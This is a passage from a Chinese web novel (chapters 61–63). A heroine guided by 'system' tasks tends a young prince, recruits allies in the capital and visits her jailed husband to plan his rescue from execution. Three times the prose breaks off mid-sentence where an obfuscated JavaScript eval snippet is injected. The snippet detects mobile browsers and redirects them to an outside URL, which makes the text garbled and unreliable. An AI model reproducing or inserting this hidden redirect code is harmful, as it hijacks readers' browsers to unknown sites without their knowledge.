“老师,老师,站累了。” 太子在下面仰着头扯她衣摆,她便把太子抱起来一起看。太子只看了一眼,随即捂住眼睛埋在她怀里发抖。 江奇云在下面对主将,手里一杆长枪已经使得出神入化了,但对面将士多,拖不了太久,尽管有炮火支援,但人倒了又源源不断跟上,很快他们就整齐有度。 “咔嚓”一声,江奇云手里的长枪断裂,他被几个主将和士兵给围了起来。 林清月给了秦安肆一个眼神,已经准备朝他那支援。 忽然一转眸,看见一支箭快速射来,直接射穿了一个主将的脑袋。 接着是更多的箭。 他们喊着“有支援”,迅速后撤。 而那几个人正在围攻江奇云,打算先把他杀死。 他们没得逞。 林清月远远就看见有人来了,那人的发尾飘扬,白色的衣裳裹在甲胄里面,人还没到,无鞘剑就掷了出去,擦过江奇云颈侧,稳稳刺入一人胸口。 江奇云挑开周边人手里的兵器,几步到了那人尸体边,一咬牙,扔掉断枪拔出了那无鞘剑拿在手中。无鞘剑锋利异常,加之孟放歌在旁,这点危机很快就化解,根本不需要他们出手。 炮火逼着他们后撤,援军也赶到,战鼓愈烈。 看到姜国旗帜的时候,瀛洲的人才彻底退了出去。 而林清月看向刚刚那支箭射来的方向,正巧,与一人对上了视线。 齐锋眠埋伏在远处,来的时候瀛洲人已经撤得差不多了,都没有出手,身上干干净净的,只沾了点泥土。 林清月拉着太子下去,正好江奇云牵着自己的马回来,路过她,冷冰冰吐出一句:“我道过谢了。”然后没有停留。 她任由江奇云去治伤,让人去把孟放歌带了进来,一路带到营帐,林清月那时还看着太子画图。 孟放歌一个人来了,问她:“若我没来,你有几分把握?” 林清月想了想,握着太子的手帮忙画了几笔,说:“尽人事,听天命吧。” 而后看着她,反问:“不过没想到,孟将军竟然真的来了,是为何?” “想来。”孟放歌靠在椅子上,顿了一下,“也不止是我想来。” 林清月顿时想到齐锋眠。 “我看到了,他也来了。” 孟放歌:“你怕他吗?” 林清月笑道:“不是我怕,是他不敢。” 于是孟放歌把齐锋眠给拖了过来,说:“我去会个故人,你在这帮阿姐谈。” 齐锋眠站在原地站了许久,林清月也没先开口,时不时还教太子一下,太子连握笔的手法都是稚嫩的,需要她盯着调整。 半晌,齐锋眠终是率先开口:“你去胡京吗?” 林清月微愣,抬眸看向他疑惑:“问这个做什么?” 齐锋眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612334|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身,寻了个椅子坐下说:“我作为姜国的使臣来此,你去胡京的话,我随你一起。” 听此,林清月爽快答应:“好啊,我过些时候就要跟太子一起回去呢。” 齐锋眠没想到她答应得这么快,噎了一下,“你不跟你夫君商量?” “我就是去胡京找他的。”林清月起身走过去,将他之前送的玉放在他手边。 “这个还你。” 说完拉上太子就要出去,“我得找副将说说这个事儿……” 走到一半,身后的人拉住她的手腕,那块玉又被塞回了手里,他说:“送出去的东西,不接受退还。” “挺有原则。”林清月看了看手心的玉,笑了一声,往他衣襟里一丢,“但我不要。” 一个动作让齐锋眠措手不及,等把玉拿出来,林清月已经出了营帐。 说是去找江奇云,她也确实去找了江奇云,看到她的时候,江奇云跟看到了救星一样—— “夫人你来了!是有什么事要我帮忙的吗?”江奇云刚站起来,林清月就把他按回去坐着。 “没事没事,就是他们姜国来了个使臣,我去胡京的时候就顺便带上了啊,跟你说一声。”林清月朝旁边的孟放歌打了个招呼,说完转身就走。 顺便拉走了刚走过来不知道要干什么的秦安肆。 “多一事不如少一事你有什么事跟我说就好。” “……”秦安肆默默掏出一份伤亡报告,“这也归你管?” 林清月猛的停下脚步。 “……所以这就归你管了?” “康日让我给的,他人直来直去,跟营里的士兵相处比我们好,自然而然就接管了些对他来说轻而易举的事。” 没办法,林清月接过报告,问了句:“没什么话要带吧?” “没。” 于是她快速进帐,把报告一放然后快速出来。 “老师你慢点……” 林清月把差点跌倒的太子抱起来,让秦安肆去把人都喊齐了,聚在一起讨论了一下去胡京的事,顺便把在神山的前因后果都讲了一遍。 “……总之,我们必须去胡京。” 罗知之:“我可以带路。” 湛亦点头:“之之去过,跟那群人走的近路,让她带路也会快些。” 康日看了看太子,问:“那任务呢?” 湛亦呛道:“也没必要非得现在完成。” “停停——”林清月握住太子的手,装模作样拍拍桌子,“这个我自有办法。” 秦安肆漫不经心一问:“什么办法?” “长椿你会带孩子吗?” “……” 霎时间都沉默了。 片刻后,仲长湫说:“我哥没结婚。” 林清月把太子放到桌上坐着,让他面对着仲长椿,“我是说带太子。” 太子懵:“昂。” “我不可……”仲长椿起身想逃,被太子紧紧抓住腰间挂着的工具,刚走一步,太子就扑在了桌子上。 仲长椿:“……” 林清月:“我会跟你一起的,队长与你同在!” 于是,去胡京之前,林清月给县令捎了封信,出发之前,林清月去找江奇云,都做好了偷偷溜走的准备,结果江奇云并没有说什么,还准许她带太子一起走。 “这几天想了想,将军既然这么信任你,那我也信任你。” “你不跟我们一起去救将军于水火?相信他会更高看你的。” “我就在临沙关,我不出去。” “一辈子都在这儿?”林清月笑。 江奇云郑重点头:“就守在这儿,一辈子。” 于是就这样,他们在准备好一切出发了,出发去胡京的路上,他们在瑾县停了下来,县令正在门口等着他们。 “都准备好了吗?” “早就准备好了!殿下、夫人跟我来。” 林清月抱起太子就要跟着,但太子的手还紧紧抓着仲长椿的工具不放开,她便直接把太子给仲长椿抱着,两人带着太子跟县令一起去了府里。 府里有个正在修建的凉亭,这就是林清月的目标。 太子站得稳,能走能跳,脑袋也正常,还有气运加成,虽然把握也没那么大,但林清月还是想快点完成这个任务,顺便看看下一个任务是什么。 “这样真的能行?”仲长椿看着脚边的太子,跟在后面护着。 “就算不行这也没关系,等去了胡京还有的是时间……” “哎,你们要去胡京?”旁边有个工人听此问了问。 林清月道:“是啊。” 工人叹着气摇摇头,手中动作不停,“胡京最近可出大事了,不过我也是听小道消息,说有人要谋反,等你们到了,那人估计就已经被腰斩去咯。” 【触发最终任务:扶持赵麒登上帝位】 系统的声音突然响起。 二人均是一愣。 仲长椿最先反应过来,拉住到处跑的太子,工人们正听着太子和他的指挥办事,没对这事多说。 林清月沉默着没有再说话,在仲长椿的帮忙下,亭子很快完工了,太子跟他一起检查,讨论的东西很是专业。 林清月没有听进去。 直到系统的声音再次响起。 【传承人任务完成,土木大传承任务进度100%】 【宿主获得50万积分】 【百宝袋解锁隔空取物功能】 她看了眼亭子,目光在已经升起的月亮上停留了一会,又与仲长椿对上视线,然后深吸口气转过身去。 “走,叫上他们去胡京。” 61. 寻找盟友 胡京近来很是热闹。 但顾府内已经冷清了十几天。 顾紫烟听说,弟弟闯了皇帝宫殿,然后太子失踪,弟弟被皇帝抓了起来。 本来先前他就对皇帝诬陷二姐的事很有意见,如今,更是连朝都不想上了。 ——“顾紫烟,你给我出来!” 顾紫烟打开门,“大哥,阿风他……” “你别想他了。”顾连雨把他薅出来,“你现在最重要的是上朝,把自己该做的做好。” 顾紫烟挣脱开他的手,“大哥你到底是怎么想的?!” 顾连雨脚步停顿,没有回头看他,手指却松了松,他说:“我没怎么想。” “可不能就看着阿风这样……” “我说了这不是你该管的事。”顾连雨这才回身看他,“顾家……总要有一个人护着的。从前是尘微,后来是阿风,以后……是你。” “那大哥你呢?!”顾紫烟不理解,“我不信,你一定有对策的是吗?你可以把阿风救出来的,就像是每次朝上你可以帮我圆话一样——” “我找过他的。” 顾连雨的手紧了紧,回身往院外走,“他说,他乐意被处死。” 顾紫烟愣了一下,嘴里呢喃:“他乐意……” 半晌,他回过神来,几步追上去拉住大哥:“他乐意就要由着他吗!你要看着他就这样死吗!” “顾紫烟!” “喊我也没用!我就是不理解,为什么现在你倒是不护着他了呢?你说二姐护着顾家,说阿风护着顾家,那你呢——大哥!” 顾紫烟不让他离开,紧紧抓着他手腕,声音发颤又极力克制,眼睛里是大片的红血丝。 他放慢语速,紧紧盯着顾连雨,一个字一个字说:“我只是,只是不想他就那样冤死而已,至少,不能让他的功绩被这莫须有的罪名全抵去。” 默了片刻,顾连雨道:“我知道。” 顾紫烟望着他,久久都没有等到下一句,他低眸重重呼出口气,似是无奈,又似是埋怨。 他忽然卸了力,人往一边倒去。 顾连雨将他手臂抓住,“去上朝。”说完便硬拉着他往前走,他也没挣扎。 恹恹不乐上完了朝,顾紫烟没等着大哥,独自走了出去。 他气愤。 气自己什么都做不了。 大哥说,是二姐和弟弟一直在护着顾家,顾紫烟却觉得一直是大哥,大哥支撑着顾家走到现在。 从最开始,他们的太祖便是个孤臣,与谁都不算好,却也不会刻意得罪人,在要站队的事上,一直都是中立,这种风格延续几代,到这里到了大哥。 也只靠着大哥。 他没办法那么好克制情绪,没办法做到大哥那样。 如今,他更是只会添乱。 “顾紫烟……”他走在街上,手里的扇子打一下脑袋,“你就不能争点气啊……” 怎么就什么都做不了…… “新鲜的糖葫芦——” “新鲜的包子嘞——” “客官我们今日上了新品要不要来看看呐?来看看吧!” 顾紫烟捂了下耳朵。 但耳朵捂住了,鼻子还能闻到。 片刻后,他停在一家包子铺前,潇洒丢下几个铜板,“老板,来三个包……” “你是不是叫顾紫烟?” 没说完,他的话忽然被打断。 顾紫烟轻轻皱眉,看向身旁的女子,头发拢了一半高高束成马尾,跟波浪一样在空中荡,她没等他回答,抓着他的小臂就走。 “哎!客官您的包子!您的铜钱!” “你干什……啊没事没事铜钱送你了,送你了!” 顾紫烟被她抓得疼,瞧着她越发眼熟,走出一段路才想起来在哪见过—— “你是我弟妹的朋友吧?” “记得?” “应是在军营见过。” 那女人拉着他,一路到了一个小巷子里,把他丢进一个黑漆漆的屋里去,而后锁上门。 顾紫烟还不明所以。 眼前忽然一束光刺来,他抬起手遮挡,眼睛还没适应,又有人拉下他的手,急匆匆问:“三哥,顾寻风现在怎么样?” 听这声音…… 顾紫烟努力让自己适应光亮,缓缓睁开眼。 “……林……”清月。 刚准备确认身份,啪嗒一声,光亮消失了,湛亦从后面捂住了他的嘴。 “追来了。” 林清月烦躁:“怎么阴魂不散,有病似的。” 话刚说完,上方传来瓦片松动的声响。 湛亦把顾紫烟塞到一个木箱里躲进去,拿刀抵着他脖子,其余人也是各找掩护。 房门被人踹了几脚,没踹开。 接着似乎是喊了人过来,一阵喧闹,接着,一行人破门而入,四处翻找。顾紫烟透过木箱的缝隙看过去,见他们身上令牌,是禁军令。 皇帝追杀他弟妹做什么? 还没来得及思考,湛亦忽然破开木箱,几下便将几人刺伤,捞起顾紫烟就往屋外跑。 顾紫烟大惊,害怕,紧紧抓着湛亦的手臂和衣服,“啊——” 湛亦捏住他后脖颈:“闭嘴。” 顾紫烟:“……” 人都被湛亦引走,林清月松口气,但随即也行动起来,起身一顿操作,将房子一把火给烧起来。 于是湛亦那边脱险。 他们在另一条小巷汇合。 “三哥……” “等等!”顾紫烟顺口气,靠在墙上,“我知道你要问什么,但我也不知道顾寻风现在怎么样……你们怎么会被禁军追?” 林清月叹气,跟他简明扼要讲了一通。 他们与齐锋眠在进入胡京时就分道扬镳了,齐锋眠是去皇宫,但他们肯定不能一来就这么张扬,本打算慢慢打探。 谁知道刚进胡京没多久,碰上了李驰。 李驰被禁军追,他们遇到,便救了,于是禁军也来追他们。 至于为什么抓顾紫烟过来。 “之前他说什么,他连和离书都写好了,说我找你,你就知道的,这可是真?” “……”顾紫烟顿了顿,“真。” “和离书,你在保管?” 顾紫烟攥着扇子的手紧了紧,“你们假结婚的事,他曾告诉过我,也是只有我知道。或许自从投靠了陛下,他就已经想到了如今的结局,也早就想好了你的结局……” “什么结局不结局的。”林清月咬牙,“三哥你就告诉我,过几日他可能会被腰斩的消息,是真是假?” “……大概率为真。” “若我劫人,胜算几成?” 顾紫烟蹙眉:“三成。” “这么少?” “你们就这么几个人,连躲禁军都费劲啊,还劫人,不就更难了?” 林清月咬了咬下唇,捏住顾紫烟手臂,认真说:“我要见你们大哥。” 顾紫烟:“做什么?” 林清月一本正经:“撺掇他跟我们一起救人。” “……” 虽然顾紫烟觉得不太可能成功。但…… 深夜,顾紫烟掐准时间,敲了大哥的房门,大哥开门,一句话还没说,就被他推进屋,他背着手锁上了门。 而那几人从窗户闯进来。 他抬手捂住大哥的嘴,没让大哥出声喊人,迅速解释:“是弟妹。” 顾连雨深吸口气,扯掉他的手,回身去看,眼神落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625072|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林清月身上停住,在对方说话之前,他闭上眼开口:“现在离开,我当做没看见你们。” 林清月道:“我只要能混进皇宫就好。只要大哥帮我这么一点点忙。” “你救不了。”顾连雨转身,把顾紫烟推到一边,然后开口,“但你们想干嘛,我管不着……” “我是要救他,但不只是救他,你应该知道我在说什么吧?”林清月淡定站在原地,没有要出去的迹象,她走近他的背影,“不如,大哥先跟我去见个人。” 春日的阳光很是暖和,胡京比往常更为热闹,只有不见光的小巷里,阴冷潮湿。 废旧的房屋内,一个小脑袋忽然探出来,脸庞白净,在黑暗中格外显眼。霎时间,又消失不见。 “唔唔唔。” “殿下,老师不让你乱动。” 仲长椿把太子抓在手里,好一会才松开太子的嘴巴。 太子委屈:“老师不要我了。” 仲长椿:“……不是。” 太子疑惑:“我一觉醒来,老师就不见了。” 仲长椿:“老师马上就回来。” 太子瘪嘴。 仲长椿慌乱,当即捂住他的嘴,把他抱起来,“别哭,不然一会儿会有人来打你……” 随后太子呜咽得更狠了。 他看向旁边不动如山的两个人,“你们帮帮忙啊。” 康日抬眸看向太子,盯了一会,生硬开口:“睡吧睡吧我亲爱……” 一旁的秦安肆闭眼捂住耳朵:“求求你,都是自己人。” “哦。” 整个屋子里都只有太子的呜咽声。 秦安肆放下手,深吸口气:“我也不会。”他有些不耐烦,皱着眉头说:“林清月脑子都装了些什么,留我们在这里哄孩子?” 仲长椿说:“队长说了,殿下看到女孩子会很害羞。” “害羞总比害怕好吧?” “……” 说得好对,竟无法反驳。 这时外面传来了脚步声,三人警惕。 秦安肆透过窗缝看到熟悉的身影,立马夺过仲长椿手里的太子,转而塞给刚进门的林清月。 林清月看见太子红通通的眼眶,倒吸一口凉气,当即转手丢给后面的罗知之,“之之!” “啊?!”罗知之手忙脚乱接住,然后和太子大眼瞪小眼。 太子一眨眼,一滴眼泪掉下来,但没哭出声,脸上立马红起来,跟苹果似的。 他们都没敢出声。 忽然,后面一个深蓝衣袍的男子缓步走来,边走边拿下了腰上挂着的孔明锁,抱过太子,并把孔明锁放到太子手中,声音温柔:“殿下记得这是什么吗?” 太子看到孔明锁,眼睛放光,忘记了刚才的一切:“娘娘的,孔明锁。” 随后他踏入房门,扫视了一圈,又问:“那殿下怎么会在这里?娘娘很想你。” 太子一怔,抓住了他的衣襟。 “找、找娘娘。” “我跟舅舅走,我看到老师,老师带我玩,老师说要带我吃香的、喝辣的……但是我也,也想娘娘。” 林清月他们也走了进来,并且已经关上门。她走到顾连雨身边:“现在还不能去见二姐。” 顾连雨没理她,眼眸一转,抱着太子颠了颠,柔声问:“老师还说什么了?” 湛亦想上前说些什么,被林清月拦住。 接着,就听见太子开心道:“老师也说了要带我见娘娘!还说,还说,会让我穿跟父皇一样的漂亮衣裳!” 彼时,林清月已经坐在了他斜对面的一个箱子上,一只脚踩在箱子侧面,一只脚在空中晃荡,双手撑在箱子边沿。 她抬眸,对上顾连雨审视且警惕的眼神,微微一笑。 62. 牢房探夫 顾连雨已经成家了,在外面还有个家宅。 但家里弟弟妹妹们都让父母很是头疼,所以,他大部分时间还是在父母身边帮着,很少回家中,家中所有的事务,包括跟外界的商业合作这些,都是夫人在管。 他娶的是楚家一个分支的庶女,有商业头脑,但是庶女,所以很难出人头地,最后还是被当做一个人脉,嫁给了他。 远远看到他抱着个孩子回来的时候,楚晴大喜。 众人进了门,就看见她进屋翻箱倒柜了一阵,出来的时候,手里拿着和离书,递给顾连雨。 “你放心我不会纠缠你的!” 顾连雨淡然,拿过来直接撕掉,顶着她目瞪口呆又心痛的表情,说:“这个没写好,下回给你重新写一个。” 接着,他把太子的脸掰正,让楚晴看清太子的脸。 楚晴愣了愣:“……太子……殿下?” 顾连雨面无表情:“他在我们家住一段时间。” 楚晴看看他,取笑:“我第一次看到你这样,这是吃瘪了?” 顾连雨移开眸子,嘴角撇了下去没说话。 “大嫂大嫂——”林清月赶忙上前,挽住楚晴的胳膊,“是我想救阿风,所以才来求大哥帮忙的,这段时间就麻烦大嫂照看好殿下,放心,我很快的!” 楚晴明了:“是阿风的事啊,你是……阿风的媳妇吧?” 林清月连连点头。 楚晴望着她,杏眼眨了眨,眼珠子骨碌一转,挡住口鼻低声问她:“教教我,你是怎么让他吃瘪的?” 林清月也学她的样子,放低声音:“大哥的软肋是顾家,我只是说‘若你死了,顾家无主,活不过一代’,不过若是大嫂你,应该更简单的。” 楚晴摇脑袋:“不不不,我最难了,我说不过他。当初说好的等他死了会和离,虽然后来他没死,也说和离会提上日程,但和离书已经被他以各种理由毁了五次、不见了三次,再加上这……” “你们在说什么?” 林清月直起身子,抓住楚晴的双手,声情并茂:“总之啊,大嫂,太子殿下就交给你看管了,我相信大嫂!” 楚晴装模作样,学她,握着她的手:“我!会!的!” 顾连雨深吸口气,拉住楚晴的手臂让她抱着太子,推她进院子里,“你去把从前给殿下准备的衣裳什么的收拾出来,去吧去吧。” 林清月一行人跟着顾连雨进了主屋,虽然顾连雨不常在,但下人都被管理的井井有条,甚至他们的规矩,都是按夫人说了算。 顾连雨也听话,走完待客流程,才把房门关上。 林清月坐在椅子上,晃荡着茶杯,想到刚刚楚晴说的话,不禁摇头叹气说:“和离只是你们的情趣。” 顾连雨平地被绊了一下,转头看着她欲言又止,还是什么都没说,快速回去坐下。 “所以——” “为什么明知道让皇帝怀疑顾家的根源,在楚晴夫人这里,大哥还是一直不肯和离呢?” 林清月笑笑,托着自己的下巴看他。 顾连雨的夫人是那个楚家的人,这件事,是回忆里的顾寻风跟她提过一嘴的,本来她也没多在意,毕竟第一次的时候顾连雨死了,楚晴并没有受到牵连。 是直到刚刚见到楚晴了,她才忽然想到这层关系。 顾连雨抿口茶水道:“你不要在她面前说这些话。” “可她应当心里也明白吧。” “我不死,她便不会明白。”顾连雨放下杯盏,“若我死了,她离开这里,那时即使明白,也没什么了。” 林清月咕咚喝一口茶,问:“是为什么呢?是什么东西,你要用命去换?” 顾连雨抬眸:“……一己私心。我不该有私心,所以,我要为此赎罪。” “我还真以为大哥一心只有顾家。原来是你一直在护着她,所以……”所以之前的某一次里,楚家被灭,楚晴却并未遭殃。 顾连雨打断她:“明日,我会帮你们支开护卫,见到了他之后,你再要做什么,我便不再管。” 林清月微笑,“好。” …… 清晨,钟声响起,太阳初升,宫门大开,穿着官服的官员们鱼贯而入,在皇帝来之前,都在交头接耳。 对于顾紫烟来说,早朝无聊得很,他做什么都觉得无聊得很,他只想在家躺着,偶尔写写文章,偶尔画几幅画,这样维持生计就好。 但大哥压着他去当官。 不厌其烦的每天催着他起床上朝。 早朝讲了什么,他都没听进去。 就是在打盹的时候,头上突然挨了一拳头,他惊讶回头,看见不知道什么时候,他们打起来了,他看了眼在吃水果的皇帝,又看了眼乱成一锅粥的朝会,再看看不苟言笑但重拳出击的大哥。 犹豫了一下,他后退几步,继续打盹,皇帝还让人给他送了一块西瓜,于是边打盹边吃瓜。 此时,林清月看着被叫走商议的守卫,抓紧时机就溜进了牢中。 “我和康日在外面守着,顺便接应。”秦安肆拉着康日一起躲在了暗处。 林清月没有异议,带着剩余的人进去,躲躲藏藏,找着里面守卫的规律,到了里面。 湛亦三下五除二将狱卒劈晕。 林清月翻找着册子,听见湛亦把牢房钥匙丢在桌上的声音,接着她说:“我在这里看着,他们醒了我继续劈。” 林清月想了想:“好……长椿,长湫,你们也留在这儿——” 仲长椿:“换上他们衣服伪造,我懂。” 然后林清月和罗知之离开。罗知之轻车熟路,带着队长一路往里面走,绕过行刑区,路上顺带迷晕了几个狱卒。 越靠里,血腥味越重。 “里面都是重刑犯,受过刑的,所以味道很重。” 林清月问:“之之被抓来之后,来的是这里吗?” “我劝了他们的,我们招得快,没受什么刑……不过顾将军应该……” 话语顿住。 林清月道:“我看见他了。” 她快步走到一个牢房前,迅速找出钥匙,听见响动,里面的人抬眸看过来,霎时一愣。 牢门打开,罗知之守在外面。 林清月走进去,停在顾寻风面前,而后蹲下,半晌,他们都没有言语。 她不敢去看他身上的伤,便就盯着他的眼睛,把他盯得不好意思了,躲开她眼神了,方才有动作,朝他伸出手去。 几乎是下意识的,她抚上他的脸,问:“他们审问你什么了?” 顾寻风眸子转了转,望回去,看见她眸中的自己,“没什么。” “告诉我。”林清月上前,双手捧着他脸颊,咬着牙说:“到时,我一一问回去。” “不要。” 顾寻风摇摇头,把她的手拉下去,转而问:“你是怎么进来的?” 林清月深吸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,他收敛了下笑意,抛开这个无关紧要的话题,“皇帝是不会放过顾家的,本来,我也找了大哥帮忙,叫大哥引皇帝去刑场上……” “可是我不想让你死。”林清月忽然打断他,眼泪啪嗒啪嗒落了下来,“我不想让你死。” 顾寻风慌忙去擦她的眼泪。 可擦不掉,反而把血沾到了她白白净净的脸上。 “……对不起。” 林清月头一次觉得控制不住自己的情绪,原来哭的时候真的控制不住,她暗暗发誓再也不蛐蛐别人了。 她深呼吸了一下,颤着声斥责他:“不许说对不起也不许说抱歉,你不可以就这样杀掉皇帝了,知道吗?没有人帮你,只有你自己,你杀了皇帝,臭名传千里,也死无对证,这样还有什么清白?” “可是这样的事我也做过。” “那是现在的皇帝做的,与你无关。”林清月一字一句,斩钉截铁,她抬手,重重擦掉眼泪,认认真真望着他:“我都说了,你要等我,为什么还非要自己冒险啊……” 顾寻风微微愣怔,忽然抓住了她手臂,让她露出些不解。 他张了张嘴,小心翼翼的,问:“你记起来了?” 63. 刑场劫人 霎时间,二人都愣在原地,谁都没再说话。 林清月只觉得脑子里有什么炸开,头晕目眩,她泄了气一样低下脑袋,被他扶住,她听见他问:“你怎么了?” “……”林清月缓缓抬头,“你、都、记、得。” 顾寻风犹豫着点头,但立马又摇头。 林清月深吸口气,指着他刚要说些什么,被他抓住手指按下去。 “我的意思是,现在记得了。” 难怪…… 林清月抽出自己的手,“难怪你后来又说不与我和离。你是何时记起的?” 顾寻风没有隐瞒,笑笑说:“山洞里的时候,你亲了我。” “我没有——”那是咬啊! 她正红着脸要反驳,顾寻风却忽然眉头皱了皱要倒下去。 林清月一怔,赶忙起身过去。 “顾寻风……”她扶了一下,挪过去让他靠在自己身上,随后喊了罗知之,找了药瓶打开。 她叹口气:“你真是的,不许故意装可怜。” “疼的。”顾寻风抬眸望着她说。 林清月正在给他裂开的伤口抹药,听了故意力道加重:“你不是什么都不怕?” 顾寻风却不让她好好上药,伸手将她腰身抱住,头埋在他肩颈,说:“我会怕的,怕你一直生我的气。” 林清月反问:“那还不听我的话,一直不把自己性命当回事?” 顾寻风一怔,随后摇头,再摇头,声音有些哑:“不是,不是这个。” 林清月疑惑:“什么?” 牢中忽然安静了下来,她只能听见他有些紊乱的喘息声,似乎伤口真的很疼,疼得他身体都有些发颤。 “……好了,你起来,我先给你抹点药……” 她把顾寻风扶起来,望着他,却是一愣。她愣了一会,抬手,手指尖碰到他脸颊,抹去他的眼泪,有些手足无措,“那么疼吗?” 默了半晌,他说:“原先,我以为你是因为我忘了你,所以生气,但后来我才发现,你也不记得我。”语气十分笃定,还有些哭腔没散去。 林清月脑子有些乱,一时不知该怎么作答,说了句“不是”,然后不停去擦他往下掉的眼泪。 他望着她,眼泪落了许久,而后却是抓住她的手,轻轻笑了笑,说:“其实……都不重要了,就算我还能活下去,也应该活不了多久的,你若是要回家去,那还是……忘了我好些。” 林清月慌忙摇摇头:“我、我记起来了,记起来了的,你不是也记起我了吗?” 顾寻风抓着她的手,垂了下眼睫,一滴眼泪掉了下去,滴落在地上。他不敢看她,声音哭得沙哑。 “林姑娘,这次成功了的话,便是最后一次。” “我不知道你是从哪来的,但我大概只是你的一个过客罢了,你是否真心喜欢过我,我都不在意。” “我的生命太漫长了,到最后,能一直陪我到最后的,只有你而已。” “所以我真的不想在死去之前失去你,不想和离,哪怕你的话也都是真的,你真的不那么喜欢我……” 他哭着对她说:“原谅我好吗?” “……顾寻风,在恢复记忆之前,你有喜欢过我吗?”林清月斟酌着问。 顾寻风没有丝毫犹豫:“喜欢。” 他仍是不敢看她,脸上还挂着泪,声音却带着笑,仿佛是在回味那些从前。 “第一次见面的时候,就喜欢,可我觉得我这样不太好,我只是因为你漂亮,所以喜欢你,我不认同这样感觉,所以……” 话说一半,林清月捧起他的脸,迫他看着自己,一字一句说:“你喜欢我,才觉得我漂亮,况且,我也是因为你好看所以才跟你成婚。” 顾寻风怔了怔,“……只是因为我好看?” 林清月坦荡荡:“是。” 继而又说:“但后来不是,现在也不是。” 林清月紧紧盯着他,轻轻咬唇,下定什么决心似的,去掰正他的脸,指腹抹去他最后一滴泪,认真说:“我会为你寻一条生路出来。” 顾寻风一呆,嘴唇翁动了一下,但什么都没说出来。 他一直觉得他是必死的,他没想过自己能活。 若顾家必须死一个,他只能接受是他自己。 但见面前的人凑上前,在他干涩的唇上轻轻落下一个吻,又向上寻去,吻掉了他睫毛上的泪珠。 轻轻对他说:“等我。” …… 大将军有意谋反的事传得很快,几日里,这件事几乎连姜国都知道了。 齐锋眠再次看见林清月,是在将军行刑的前一天。 逛街的时候一个不注意,被一个女人绑进了小巷子里。 “我、不、知、道。” 齐锋眠望着面前笑嘻嘻的面孔,不由得怒从心中来,语气并不好:“你要救他,关我什么事?” 他冷呵:“他死了我高兴还来不及,怎么可能帮你救他?可笑。” 林清月:“齐都尉,我一直觉得你是个至情至性的人,我很欣赏你,但你也清楚啊,我压根没回应过你的感情,都是你一厢情……” 齐锋眠打断:“总之我才不会帮忙。” “谁说我是要你帮忙?” “那你刚刚问我明日押送路线还有皇帝的安排做什么?” 林清月装模作样点头:“那确实是需要你的帮忙。” 齐锋眠:“……虽然我人在皇宫,但我毕竟是别国的人,这些事我怎么知道。” 林清月撇嘴:“他们都要害死我夫君了,我怎么信任他们,倒不如问问你,让你帮我打听到这些信息呢。” “……”齐锋眠翻了个白眼,偏过头去,“我在你这儿就只有‘利用’这一个作用了是么?” 林清月笑:“那也是有作用不是吗?你不满意啊。” 齐锋眠深吸口气。 话没说出来,被林清月一句话打回去:“齐都尉放心,就这一次,往后,我便消失,也不会碍你的眼。” 齐锋眠嗤笑:“可笑,说得好像我想见到你似的。” “孟将军说是你想来的。”林清月把短剑贴近他脖子。 齐锋眠咬牙:“我没说那种话——我来这里,就是为了瀛洲那点事,与你们皇帝谈谈而已。” 林清月莞尔:“那太好了,帮帮我吧。”她动动手里的短剑,在他脖子那儿比划着。 齐锋眠:“……”不要脸的女人。 见他不说话,林清月叹息,短剑下移,隔开了他身上的麻绳。 “算了,我知道你恨我,只是现在我没什么人可以信,我其实也还挺信你的,既然你不肯也没办法了,我自己去皇宫探探吧。” 齐锋眠有些疑惑,抬眸看了眼她,又看看自己周身已经落在地上的麻绳,“……那是皇宫,哪是你能随便探的。” 林清月:“有什么办法,我唯一的信任的人,唯一的朋友也不帮我。” 她起身招呼同伴去商量进皇宫打探的计划,把齐锋眠丢在了一边没再管。 刚摊开图纸想画画皇宫的分布,身后,齐锋眠忽然说话了。 “午时行刑。” 林清月停笔,没有回头。 齐锋眠顿了顿,继续道:“囚车会从北大街往南走,刑场就在南面。” 林清月这才回身问:“皇帝呢。” 齐锋眠:“你们,是想杀你们的皇帝吧?” 林清月不置可否:“怎么,这也归使臣管?” 齐锋眠轻笑:“那倒不是。只是顾家那位大哥连续几天劝皇帝亲自督刑,这么明显,皇帝怎么可能会同意。” “那你觉得,我有没有联系过顾连雨呢?”林清月笑问。 齐锋眠:“……那就说得通了。” 他靠在墙边,眼眸垂了垂,语气松散:“让皇帝去督刑,方法有很多,但这么明显的办法,不该是一个混迹官场多年的聪明人能想到的,除非,你们一开始的目的就不是让皇帝督刑。” “你错了。”林清月笑笑,“一开始,还的确是让皇帝去督刑,只是最后我没那么选择。” 齐锋眠定定看着她。 见她笑靥如花,她的话语忽然温柔了些许:“我只是想救他而已。” 救他,顺便完成自己的任务。 齐锋眠觉得,她笑得很好看。 但,又觉得很刺眼。 这样的笑容不属于他,从一开始就不属于。 可他偏偏迷恋。 偏偏想占为己有。 把她的一切,不管是笑容,还是脆弱,都独占,如若不行,囚在身边也未尝不可—— 